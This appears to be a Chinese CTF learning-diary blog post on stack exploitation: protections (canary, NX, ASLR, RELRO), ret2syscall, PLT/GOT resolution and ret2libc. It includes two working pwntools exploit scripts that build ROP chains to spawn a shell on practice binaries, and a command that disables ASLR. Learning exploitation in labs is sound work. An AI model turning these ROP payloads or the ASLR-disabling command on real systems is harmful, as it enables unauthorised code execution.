Pwn学习日记-2

这次主要就是学习了ROP(返回导向编程),跟着PPT还有题目理解了很多rop原理以及汇编细节,在这里感谢好兄弟们的解惑以及小pwn手群的各位师傅。

这次对上一篇补充一些内容以及着重于理解

内存保护措施

  • canary

    canary是金丝雀的意思。在函数返回值之前添加的一串随机数(不超过机器字长),末位为/x00(提供了覆盖最后一字节输出泄露canary的可能),如果出现缓冲区溢出攻击,覆盖内容覆盖到canary处,就会改变原本该处的数值,当程序执行到此处时,会检查canary值是否跟开始的值一样,如果不一样,程序会崩溃,从而达到保护返回地址的目的。一种很强硬的保护措施,就是在中间强插一块数据,前后对比

  • NX

    NX即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。栈溢出的核心就是通过局部变量覆盖返回地址,然后加入shellcode,NX策略是使栈区域的代码无法执行。更强硬,直接不给你执行权限,即使溢出也无法执行攻击代码

  • PIE

    PIE(ASLR),内存地址随机化机制(address space layout randomization),有以下三种情况
    0 - 表示关闭进程地址空间随机化。
    1 - 表示将mmap的基址,stack和vdso页面随机化。
    2 - 表示在1的基础上增加栈(heap)的随机化。
    该保护能使每次运行的程序的地址都不同,防止根据固定地址来写exp执行攻击。
    打乱程序在内存内的地址

    liunx下关闭PIE的命令如下:
    sudo -s echo 0 > /proc/sys/kernel/randomize_va_space

  • RELRO

    Relocation Read-Only (RELRO) 可以使程序某些部分成为只读的。它分为两种,Partial RELRO 和 Full RELRO,即 部分RELRO 和 完全RELRO。

    部分RELRO 是 GCC 的默认设置,几乎所有的二进制文件都至少使用 部分RELRO。这样仅仅只能防止全局变量上的缓冲区溢出从而覆盖 GOT。

    完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。

ret2syscall

什么是系统调用?
  • 操作系统提供给用户的编程接口
  • 是提供访问操作系统所管理的底层硬件的接口
  • 本质上是一些内核函数代码,以规范的方式驱动硬件
  • x86 通过 int 0x80 指令进行系统调用、amd64 通过 syscall 指令进行系统调用

讲人话我感觉就是,我们写程序system("/bin/sh"),这是系统里自带的。可是系统读取到此代码时,内部是如何调用system的?系统内部有一套代码对应这些函数,系统运行代码时就叫系统调用。而rop就是当程序内没有普通栈溢出条件时,我们利用一些碎片组成那一套系统内的代码,运行后就相当于执行了那个函数。

举个例子,你驾驶播种机去播种,播种机原理是将土翻开,向里面撒种子再将土埋上;但是,现在你没有播种机了,你用手把土翻开,撒种子,再埋土。这就叫系统调用,直接走它内部的流程。

比如我要执行execve("/bin/sh",NULL,NULL),程序内并没有现成的代码供我们溢出跳转,所以我们执行此行代码的系统调用即可,已知此行代码对应系统调用为:

mov eax, 0xb
mov ebx, ["/bin/sh"] 
mov ecx, 0
mov edx, 0
int 0x80
ROP跳转机制

这里还需要了解rop的跳转机制

左边是程序原本的栈,普通栈溢出只需要将return address部分覆盖为需要的函数地址,但是没有现成函数时,我们需要进行系统调用。按照上面的代码,首先跳到进行给eax赋值的代码,先给eax赋以0xb,再跳转到给ebx赋值的地方,给ebx赋以/bin/sh,再跳转到ecx,给ecx赋以0,再跳转到edx,给edx赋以0,再跳转到int 0x80的位置,完成系统调用。

再解释一下相应汇编指令,pop用于给寄存器赋值,赋值用的参数是在下一个字长,pop将下一个字长里的数据弹出到寄存器,ret是将下下个字长的数据弹出到eip,eip是用于存储下一条命令用的寄存器,所以下一个命令就运行下下个字长那里。

此时再看上图中间的栈帧结构就清晰很多了,首先溢出溢出溢出,将return address覆写为pop_eax_ret的地址,这句将下一个字长里的0xb弹出到eax里,然后ret指令将下下个字长里的pop_ebx_ret地址弹出到eip里,这句结束。到了下一句pop_ebx_ret,原理同上所述。随后程序运行到最后一句int 0x80那里结束,此段系统调用等于执行了execve("/bin/sh",NULL,NULL)

ROPgadget命令用于寻找代码片段,--binary指令用于指定在哪个程序里寻找,--only "pop|ret"是只寻找含有popret指令同时存在的片段,grep eax是在前面的结果中搜索含有eax的片段

例题

ret2syscall

checksec

main

strings

寻找含有pop eax;ret的片段

寻找含有pop ebx;ret的片段

寻找含有int的片段

即使PIE和canary关了,由于开了NX,所以无法执行栈上的代码,而已缺少现成函数,我们也无法直接溢出跳转,到这就可以想到ret2syscall了

exp:

from pwn import *
io=process('./ret2syscall')
pop_eax_ret=0x080bb196
pop_edx_ecx_ebx=0x0806eb90
int_0x80=0x08049421
bin_sh=0x080BE408
payload=flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx,0,0,bin_sh,int_0x80])
io.sendline(payload)
io.interactive()

这个exp写出来我自己也挺意外的,地址不用打包?

动态链接过程

上个例题大小七百多k,IDA打开时函数区一大堆函数,因为它是静态编译的,将此程序需要用到的各种库全部打包在一个程序里,这些个库自身里就有着非常多的函数。为什么我们能找到那么多的碎片?就是因为有着这些包含大量代码的库存在。

静态编译的程序很大,运行起来与动态的一模一样。动态编译的程序所用的库是动态链接库,这些库在操作系统里就有,程序运行时直接引用就行了,所以程序自身文件很小。那么很容易想到,倘若系统里缺少相应的动态链接库,则此程序无法运行。由于动态编译的程序特性,IDA打开时函数区只包含与当前程序直接相关的函数,所以ROPgedget找到的碎片也很少。

动/静链接引用点

动态链接相关结构

  • .dynamic section

    提供动态链接相关信息

  • link_map

    保存进程载入的动态链接库的链表

  • __dl_runtime_resolve

    装载器中用于解析动态链接库中函数的实际地址的函数

动态链接调用函数流程

调用libc中的foo函数

首次调用foo函数

跳转到.plt表中的foo表项,.plt中代码跳转到.got.plt中记录的地址

由于进程是第一次调用 foo,故 .got.plt 中记录的地址是 foo@plt+6

回到 .plt 是为了解析 foo 的实际地址

跳转到 .plt 头部为 __dl_runtime_resolve 函数传参

__dl_runtime_resolve 函数解析 foo 的真正地址并填入 .got.plt 中

此后 .got.plt 中保存的是 foo 的真实地址

进程第二次调用 foo

直接自 .got.plt 跳转到 foo 的真实地址,没有了第一次的解析地址过程

流程图如下

简而言之,就是第一次去调用函数,先到plt中找表项然后跳转到got(.got.plt)里找真实地址,got里没有就返回到plt,让他自己去解析真实地址,解析完写到got里。第二次调用时,去plt里找表项然后跳转到got表里就可以直接获取真实地址。取地址从plt里取就行了,反正第几次调用都还是要返回真实地址的。

ret2libc

ret2syscall是调用系统的汇编指令完成系统调用构造链子,而ret2libc是调用libc里的函数,将这些函数连成链子。

简单rop链

如图rop链在栈内表示图

图中函数是从libc里取出的,如system,exit。system参数是"/bin/sh",返回地址是exitexit参数是0,返回地址是"/bin/sh",所以这段链子执行如下代码

system("/bin/sh")
exit(0)
参数位置

为什么参数在函数上第二个字长?第一个却是返回地址?

因为父函数在调用子函数的时候,使用call调用,父函数本来就保存子函数的参数,调用时又会将子函数的返回地址也压入栈,所以通常认为,返回地址(包含返回地址)以上是属于父函数的。

如图虚线以上认为是父函数,往下是子函数

那子函数是如何找到自己的参数的呢?在上篇说过被调用函数局部变量压入栈,如下图

Local address即被调函数局部变量,上面是调用函数的栈底,这几步又是如何完成的?

拿上面的代码为例,最开始的栈溢出,溢出到返回地址,在这个示例代码里溢出到system,这个返回操作到system即ret system。此时system被弹到eip寄存器,随后进入system代码。被调函数,第一行往往是push ebp,也就是把ebp压入栈,随后将本地变量压入栈。可是变量是保存在父函数的,根据调用约定,本地变量会向上去寻找参数,也就是父函数里的/bin/sh。调用完,system结束跳到返回地址exit,此时exit同理,往上第二个字长里的数据为参数。

栈平衡

实际上,倘若有多个函数连续调用,往上两个字长就不是参数了,可能是函数,如

exit
gets
puts
system

这种是怎么调用呢?若真这样调用,程序会出错,所以需要栈平衡,在每次调用函数后都会有一条pop ret指令,函数被调用后,往上两个找参数,结束了,跳到返回地址也就是pop ret,这条指令会把刚才用的参数pop掉也就是扔掉,然后ret到下一条函数。一直下去,这样的话连续调用多少条函数都没事,这就是栈平衡的链子,通常两个函数就够了,所以大多数都是简化的,下图是完整版

一般连续俩函数,用的都是简化的,满足往上两个字长能找到参数就行的那种。

例题

ret2libc1

checksec

strings

stack

secure

这道题是最简单的ret2libc题,它预先准备了secure函数,这个函数没有实际意义,但是这个函数调用了system函数,这也就意味着可以直接从plt表里获取system函数的真实地址。而且这题的\bin\sh也给了,IDA可以直接看,也可以用pwntools里相应方法获取。

exp:

from pwn import *
io=process("./ret2libc1")
elf=ELF("./ret2libc1")
system_plt=elf.plt["system"]
binsh_addr=next(elf.search(b"/bin/sh"))
payload=flat([b'A'*112,system_plt,"AAAA",binsh_addr])
io.sendline(payload)
io.interactive()

exp有个地方实操时一直无法获取plt的system,警告说是unicorn模块有问题,我安装了也不成,好像是安装方法有问题,后来更新了pwntools,它自动补全了好多包,然后exp就通了。

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Tajang

感谢投喂

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值